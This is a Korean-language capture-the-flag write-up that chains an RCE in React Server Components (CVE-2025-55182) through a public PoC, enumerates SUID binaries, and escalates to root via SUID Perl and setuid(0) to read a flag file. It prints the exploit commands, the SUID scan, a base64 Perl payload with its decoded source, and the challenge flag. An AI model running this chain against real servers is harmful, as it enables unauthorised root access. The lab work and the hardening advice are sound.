
[First-Blood-XO] React 서버 컴포넌트 엔드포인트가 CVE-2025-55182 (RCE)에 취약 → SUID 바이너리 열거 → /usr/bin/perl에 SUID 설정됨 → Perl의 POSIX setuid(0)를 사용하여 루트 권한 상승 → /root/flag.txt 읽기
분류: 웹 익스플로잇 | 난이도: 중간 | 취약점: 원격 코드 실행 → SUID 권한 상승
React Server Component 엔드포인트가 CVE-2025-55182 (RCE)에 취약함 → SUID 바이너리 열거 → /usr/bin/perl에 SUID 설정됨 → Perl의 POSIX setuid(0)를 사용하여 root로 권한 상승 → /root/flag.txt 읽음.
플래그: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
대상: http://challenge.cybermesh.site:30035/
대상은 React Server Components (RSC) 를 활용하는 React 기반 웹 애플리케이션이었습니다. RSC는 비교적 새로운 아키텍처로, 컴포넌트를 서버 측에서 실행하고 직렬화된 출력을 사용자 정의 와이어 형식으로 클라이언트에 스트리밍합니다.
이 아키텍처는 서버 측 실행 경계를 도입합니다. 해당 경계에서의 부적절한 입력 처리가 정확히 CVE-2025-55182가 익스플로잇하는 지점입니다.
React Server Components RCE — 서버가 서버 측 컴포넌트 실행 계층에 도달하기 전에 사용자 제어 입력을 적절히 살균하지 못합니다. 이를 통해 공격자는 Node.js 프로세스의 컨텍스트에서 실행되는 OS 수준 셸 명령을 주입할 수 있습니다.
공격 흐름:
이 CVE에 대한 공개 PoC가 존재합니다:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
초기 검증 — RCE 및 실행 컨텍스트 확인:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
출력:
[+] EXPLOITATION SUCCESSFUL
► app
서버는 app 사용자로 실행됩니다. root가 아니므로 권한 상승이 필요합니다.
SUID 바이너리 스캔:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
출력:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl에 SUID 비트가 설정되어 있습니다. 이는 잘 알려진 GTFOBin입니다. Perl이 root 소유이고 SUID인 경우, 누가 실행하든 root 권한으로 실행됩니다.
다음 작업을 수행하는 base64로 인코딩된 Perl 페이로드를 제작했습니다:
POSIX::setuid(0) 호출하여 root로 권한 상승/root/flag.txt 열고 읽기RCE 엔드포인트를 통해 전달:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
페이로드를 복호화하면 대략 다음과 같습니다:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
출력:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. RSC 공격 표면이 과소평가되고 있습니다. React Server Components는 새로운 패러다임입니다. 많은 배포 환경이 서버-컴포넌트 경계에서의 입력 주입에 대해 충분히 강화되지 않았습니다. 이 CVE는 "서버 측 렌더링"이 본질적으로 안전하지 않으며, 실행 경계에서 여전히 적절한 살균이 필요함을 상기시킵니다.
2. 스크립팅 런타임에 SUID 설정 = 즉시 root.
/usr/bin/perl에 SUID가 설정된 것은 교과서적인 오설정입니다. GTFOBins에서 자세히 다루고 있습니다. 스크립팅 언어(Perl, Python, Ruby 등)에는 절대 SUID 비트를 설정하지 마십시오. SUID용으로 설계된 컴파일된 바이너리(su, passwd)와 달리, 이러한 런타임은 간단한 권한 상승 경로를 제공합니다.
3. 플래그는 스스로를 알고 있습니다.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — 이 챌린지는 의도된 권한 상승 경로로 SUID Perl을 명시적으로 설계했습니다. 깔끔한 체인입니다.
CVE-2025-55182 (RSC RCE)
└─> whoami → 사용자 "app"
└─> SUID 바이너리 찾기
└─> /usr/bin/perl (SUID root) 식별됨
└─> base64 Perl 페이로드 → /tmp/p.pl에 작성
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
작성자: Abdullah Maqbool — TISS 침투 테스트 엔지니어 | CRTA · CRTOM · CompTIA PenTest+